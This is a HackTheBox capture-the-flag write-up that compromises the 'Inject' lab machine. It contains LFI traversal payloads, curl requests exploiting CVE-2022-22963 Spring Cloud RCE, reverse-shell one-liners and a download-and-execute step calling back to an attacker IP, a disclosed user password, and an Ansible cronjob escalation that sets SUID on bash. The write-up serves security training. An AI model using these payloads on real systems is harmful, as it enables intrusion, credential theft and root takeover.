Inject- HackTheBox Writeup
Machine Name: Inject
IP: 10.10.11.204
Difficulty: Easy
Summary
Inject is an easy machine which starts with exploiting an LFI to gain information on the application being built on Spring Framework. Through the LFI, we discover one of the configuration files which reveals that the framework version is vulnerable to RCE. The RCE in Spring Cloud is exploited to gain a shell as user Frank. However, only user Phil can read the user flag. The credentials of Phil were found in another configuration file which was used to switch user to Phil. Privilege Escalation consisted of checking for cronjobs and looking for vulnerabilities in the jobs running as root. Ansible was being run on all the “.yml” files, which was exploited to gain access as root.
Information Gathering
Nmap scan shows that port 22 (SSH) and port 8080 (HTTP) are open. Port 8080 is running Nagios-NSCA webserver.
Upon visiting the web server on port 8080, we find that it is a Cloud application that enables users to store and share files.
If we visit the blogs page, we can find users admin, and Brandon Auger. There is also an upload feature on the page. Let us upload an image to check the behavior of the application.
The image can be viewed at the “/show_image?img=filename” location. This hints us at a possible LFI.
The simplest payload works and confirms the LFI. I captured the request and sent it to burp.
http://10.10.11.204:8080/show_image?img=../../../../../../../../../etc/passwd
We can find the users frank and phil in the /etc/passwd file. On further enumeration starting from the present working directory of the application, I observed that the application is using SpringBoot.
We would want to check the application for dependencies and version numbers that we could possibly exploit if they have any public exploits. To do this, we could check the “pom.xml” file which is used to manage dependencies and configurations in SpringBoot.
img=../../../../../../../../../../var/www/WebApp/pom.xml
The file discloses that the framework version is 3.2.2. Let’s look for exploits related to it.
The first result for a google search on “spring boot 3.2.2 exploit” is this blog post that talks about the Spring4Shell (a vulnerability in Spring Core) and the CVE-2022-22963 (vulnerability in Spring Cloud) vulnerabilities that leads to RCE.
CVE-2022-22963
The vulnerability is related to Spring Cloud Function. The issue with this vulnerability is that it allows for the injection and execution of SpEL (Spring Expression Language) expressions through the “spring.cloud.function.routing-expression” parameter in the HTTP request header. A malicious HTTP request with a specially crafted value for the “spring.cloud.function.routing-expression” header parameter can be used to gain RCE. The below request creates a new file.
POST /functionRouter HTTP/1.1 host:10.10.11.204:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Connection: close spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned") Content-Length: 1 ### Curl request curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"bash -i >& /dev/tcp/10.10.16.8/443 0>&1")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
In the given example, the payload sets the “spring.cloud.function.routing-expression” header to “T(java.lang.Runtime).getRuntime().exec(“touch /tmp/pwned”)”. This payload utilizes the “getRuntime().exec()” function Java to execute a command, which in this case is “touch /tmp/pwned”.
Let’s test this PoC on the target machine. I’ll be using the ping command to check if we receive any ICMP packets on our end.
#Attacker: sudo tcpdump -xvi tun0 icmp #Send the ping through the target curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c 4 10.10.16.8")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
It works! Lets try to get a shell. The below payload does not give us a shell. Therefore, let’s write the same payload to a file and then execute it to get a reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 1234 >/tmp/f
Getting a User Shell
I save the payload into a file and then execute it through the request.
#Create the reverse shell payload file echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 1234 >/tmp/f" > rshell.sh #Host it on our server python3 -m http.server 80 #Transfer it to the target machine curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"curl http://10.10.16.8/rshell.sh -o /tmp/rvshell.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter' #Start a netcat listner nc -lvnp 1234 #Execute the reverse shell payload curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"bash /tmp/rvshell.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
We get a shell as frank. It is interesting to note that there is not user flag in frank’s home directory.
If we check the home directory of Phil, we find the user.txt file which we do not have read permissions to.
We need to get a shell as phil. Let’s enumerate further…
Getting Shell as Phil
On closer inspection, the home directory of frank contains a hidden directory “.m2”. This directory contains a “settings.xml” file which reveals the password of phil (DocPhillovestoInject123).
cat /home/frank/.m2/settings.xml
Let us login through SSH as phil and get an interactive shell.
ssh phil@10.10.11.204 DocPhillovestoInject123
Unforturnately, it doesn’t work. It requires the public key along with the password. Let us continue with the reverse shell we obtained and upgrade it to a fully interactive shell. We can fetch the user flag now.
su phil DocPhillovestoInject123 python3 -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo;fg phil@inject:~$ cat user.txt
An interesting observation is that Phil belong to the “Staff” group.
Privilege Escalation
As always, I ran sudo -l, but it did not result anything interesting. I transferred linpeas and ran it. Even linpeas did not give me any leads. Then I transferred pspy to check for any processes and cronjobs running as root.
I found that a cronjob was running every 2 minutes as root. This cronjob executes ansible-parallel on all files that end with “.yml” inside the directory “/opt/automation/tasks/”. This directory is owned by root and the group “staff”. This means that Phil can write in this directory.
To exploit this, I looked at GTFObins that provided a piece of code to execute commands through YML files. I used it to set the suid bit to bash binary and gain a shell as root.
echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/bash]}]' > /opt/automation/tasks/rootme.yml bash -p cat /root/root.txt
Pwned!